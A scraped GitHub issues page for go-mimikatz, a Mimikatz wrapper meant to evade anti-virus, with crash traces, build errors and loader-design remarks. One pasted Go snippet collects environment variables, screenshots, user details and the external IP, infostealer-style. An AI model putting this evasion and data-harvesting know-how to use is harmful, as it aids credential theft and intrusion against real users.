vyrus001 / go-mimikatz Goto Github PK
View Code? Open in Web Editor NEWA wrapper around a pre-compiled version of the Mimikatz executable for the purpose of anti-virus evasion.
A wrapper around a pre-compiled version of the Mimikatz executable for the purpose of anti-virus evasion.
Mimikatz is no longer just a single binary, it has a DLL and a sys file. This should be updated to handle both files.
i compiled go-mimikatz in linux to exe and try to run it in windows 7, here is the error:
...
...
2021/06/23 20:37:29 Hash for kernel32.dll : AddVectoredExceptionHandler = 458312d8769b4c38
2021/06/23 20:37:29 Hash for kernel32.dll : RemoveVectoredExceptionHandler = ef2b49c257da8abb
2021/06/23 20:37:29 encrypting instance
2021/06/23 20:37:30 Leaving.
unexpected fault address 0xffffffffffffffff
fatal error: fault
[signal 0xc0000005 code=0x0 addr=0xffffffffffffffff pc=0x1535976]
goroutine 1 [running]:
runtime.throw(0x15bb61d, 0x5)
/usr/local/go/src/runtime/panic.go:1117 +0x79 fp=0xc0000d3af8 sp=0xc0000d3ac8 pc=0x13192d9
runtime.sigpanic()
/usr/local/go/src/runtime/signal_windows.go:245 +0x2d6 fp=0xc0000d3b50 sp=0xc0000d3af8 pc=0x132d856
golang.org/x/sys/windows.UTF16PtrToString(0x6e0055c0000139, 0x0, 0x0)
/home/lfish/go/pkg/mod/golang.org/x/[email protected]/windows/syscall_windows.go:129 +0x36 fp=0xc0000d3ba8 sp=0xc0000d3b50 pc=0x1535976
github.com/C-Sto/BananaPhone/pkg/BananaPhone.stupidstring.String(...)
/home/lfish/go/pkg/mod/github.com/!c-!sto/[email protected]/pkg/BananaPhone/internal.go:97
github.com/C-Sto/BananaPhone/pkg/BananaPhone.GetModuleLoadedOrder(0x1a, 0xc00078e000, 0xc00000e570, 0x20, 0xc000094998)
/home/lfish/go/pkg/mod/github.com/!c-!sto/[email protected]/pkg/BananaPhone/functions.go:37 +0x58 fp=0xc0000d3be8 sp=0xc0000d3ba8 pc=0x1541eb8
github.com/C-Sto/BananaPhone/pkg/BananaPhone.InMemLoads(0x1595b80, 0xc000004198, 0xc0000d3cf8)
/home/lfish/go/pkg/mod/github.com/!c-!sto/[email protected]/pkg/BananaPhone/functions.go:55 +0xc7 fp=0xc0000d3c60 sp=0xc0000d3be8 pc=0x1541fc7
github.com/C-Sto/BananaPhone/pkg/BananaPhone.NewBananaPhoneNamed(0x2, 0x15bc493, 0x9, 0x15c451e, 0x1d, 0x0, 0x0, 0x2eb4a0)
/home/lfish/go/pkg/mod/github.com/!c-!sto/[email protected]/pkg/BananaPhone/bananaphone.go:64 +0x71 fp=0xc0000d3d78 sp=0xc0000d3c60 pc=0x15411d1
github.com/C-Sto/BananaPhone/pkg/BananaPhone.NewBananaPhone(...)
/home/lfish/go/pkg/mod/github.com/!c-!sto/[email protected]/pkg/BananaPhone/bananaphone.go:40
main.main()
/home/lfish/Downloads/go-mimikatz/main.go:84 +0x52a fp=0xc0000d3f88 sp=0xc0000d3d78 pc=0x154294a
runtime.main()
/usr/local/go/src/runtime/proc.go:225 +0x256 fp=0xc0000d3fe0 sp=0xc0000d3f88 pc=0x131baf6
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1371 +0x1 fp=0xc0000d3fe8 sp=0xc0000d3fe0 pc=0x134c661
thisUser, err := user.Current()
checkErr(err)
pkg := bytes.NewBuffer([]byte{})
pkg.WriteString("|*****|")
pkg.WriteString(thisUser.HomeDir)
pkg.WriteString("|||")
pkg.WriteString(thisUser.Username)
pkg.WriteString("|||")
pkg.WriteString(thisUser.Name)
for _, enVar := range os.Environ() {
pkg.WriteString(enVar)
pkg.WriteString("|")
}
for index := 0; index < screenshot.NumActiveDisplays(); index++ {
img, err := screenshot.CaptureRect(screenshot.GetDisplayBounds(index))
checkErr(err)
png.Encode(pkg, img)
pkg.WriteString("|||")
}
resp, err := http.Get("https://myexternalip.com/raw")
checkErr(err)
defer resp.Body.Close()
ip, err := ioutil.ReadAll(resp.Body)
checkErr(err)
pkg.Write(ip)
pkg.WriteString("|||")
pkg.WriteString(runtime.GOARCH)
pkg.WriteString("|||")
pkg.WriteString(runtime.GOOS)
Setting the *userdata to *argv[] does not actually pass arguments to the exe loaded by memory module. It happens to work in this case because when the exe calls GetCommandLine
it gets the args supplied by the user to the go exe.
A simple way to test this is to instead load args from a string array in go, they will not be passed to the exe.
exe_path, err := os.Executable()
args := [2]string{exe_path, "log"}
var cArgs []*C.char
for _, goString := range args {
fmt.Println(goString)
cArgs = append(cArgs, C.CString(goString))
}
A more complete solution would be to use the same technique as Invoke-ReflectivePEInjection and overwrite the GetCommandLine
function with shellcode to return a pointer to a string array in memory (and while we are at it replace ExitProcess
with ExitThread
so go execution can continue)
The first:
Perhaps the output location should be specified?
go run packer/packer.go -o stub
The second:
I have a problem and don't know how to modify it properly
❯ go build -o stub/stub github.com/vyrus001/go-mimikatz/stub
# github.com/vyrus001/go-mimikatz/stub
stub/stub.go:15:17: too many arguments in call to syscall.Syscall
have (uintptr, number, number, number)
want (uintptr, uintptr, uintptr, uintptr)
note: module requires Go 1.17
I hope you can give me some guidance, thank you very much!
The test runs normally above win2012, but the lower version cannot run, I don’t know if the author has tested it
This method is successful for mimikatz32.exe.
but,I use the same steps,create go-calc32.exe.
Not available
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.